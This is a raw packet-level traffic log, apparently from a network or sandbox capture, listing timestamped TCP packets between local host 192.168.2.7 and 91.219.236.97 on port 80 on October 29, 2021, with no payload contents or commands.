Oct 29, 2021 20:30:36.097275972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.097290039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.097307920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.097320080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.097330093 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.097500086 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.101602077 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.101613045 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.101799965 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.118771076 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.118784904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.118801117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.118809938 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.121473074 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.148616076 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148639917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148652077 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148664951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148675919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148693085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148705959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148720980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148732901 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148731947 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.148746014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.148814917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.148823023 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.152039051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.152054071 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.152070045 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.152079105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.152160883 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.180949926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.180964947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.180985928 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.180999994 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.181366920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.181380033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.181392908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.181406021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.181425095 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.181494951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.181508064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.181535959 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.181576014 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.186939955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.186954021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.186970949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.186979055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.187170982 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.215229988 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.215249062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.215265036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.215277910 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.215833902 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.216677904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.216696024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.216778040 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.216814995 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.216814995 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.216928005 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.221381903 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.221394062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.221549034 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.222738981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.222753048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.222769976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.222798109 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.222839117 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.222944021 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.253422976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253746033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253774881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253787041 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253837109 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253849983 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253865957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253878117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.253892899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.253927946 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.254441023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.254451036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.254491091 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.257754087 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.305401087 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.306512117 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.306566954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.306581020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.306605101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.307775974 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.310175896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.310189962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.310271978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.347191095 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.351532936 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.357985020 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.357997894 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358016014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358028889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358253956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358267069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358279943 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358287096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.358293056 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358305931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358319044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358330965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358342886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358355045 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358366966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358371019 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.358380079 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358393908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358406067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358429909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358439922 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.358443022 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.358519077 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.360460997 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.360481024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.360493898 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.360502005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.360573053 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.360656023 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.391164064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.391204119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.391220093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.391247034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.391273022 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.391493082 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.391536951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.391546965 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.391725063 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.392172098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.393366098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.393383980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.393404007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.393414021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.393512964 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.393541098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.423769951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.423799038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.423824072 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.423841953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.424215078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.424241066 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.424266100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.424283981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.424288988 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.425527096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.426011086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.426038027 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.426063061 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.426088095 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.426111937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.426131964 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.426137924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.426157951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.426177025 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.428570986 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.457226038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457271099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457292080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457313061 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457561970 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457582951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457607985 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.457832098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457869053 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.457922935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.457943916 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.458004951 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.458014011 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.458169937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.458184958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.458354950 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.490690947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.490720034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.490746021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.490770102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.490839005 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.491265059 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.491409063 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491445065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491475105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491487980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491519928 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.491594076 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.491668940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491693974 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491717100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491748095 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491806984 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.491909981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.491970062 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.523705959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.523731947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.523752928 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.523773909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.523817062 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.524519920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524574041 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.524601936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524622917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524637938 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524640083 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.524657011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524672985 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524683952 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.524688005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524704933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524713993 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.524717093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.524732113 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.528213978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.556252003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.556272030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.556284904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.556299925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.557001114 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.560461044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.560483932 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.560625076 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.560671091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.560801029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.560817957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.560834885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.560864925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.560893059 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.561300039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.561317921 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.561557055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.562789917 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.589668989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.589811087 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.590030909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.590044022 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.590073109 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.590743065 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.654567957 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.654602051 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.654625893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.654644012 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.654689074 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655101061 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655388117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655414104 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655436993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655459881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655483007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655504942 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655519962 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655528069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655536890 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655553102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655577898 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655580044 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655599117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655606985 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655618906 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655636072 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655658960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655672073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655689955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655699015 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655709982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655729055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655752897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655755043 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.655770063 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655785084 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.655795097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.656538010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.662128925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662137985 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662153006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662162066 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662189960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662194967 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.662208080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662226915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662234068 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.662245035 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.662261009 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.662307978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.687824965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.687855005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.687866926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.687872887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.687933922 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.687998056 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.694689989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.694711924 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.694732904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.694747925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.694833994 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.694870949 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.694885969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.694924116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.694961071 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.694983006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.695009947 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.695029974 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.727547884 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727581024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727597952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727610111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727624893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727641106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727655888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727672100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727688074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727704048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727715969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.727730989 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.727794886 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.753397942 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.753444910 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.753484011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.753510952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.753582954 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.753638983 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.760453939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760488987 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760513067 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760531902 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760591030 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.760665894 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:36.760679960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760704041 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760727882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760745049 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:36.760770082 CEST	49812	80	192.168.2.7	91.219.236.97
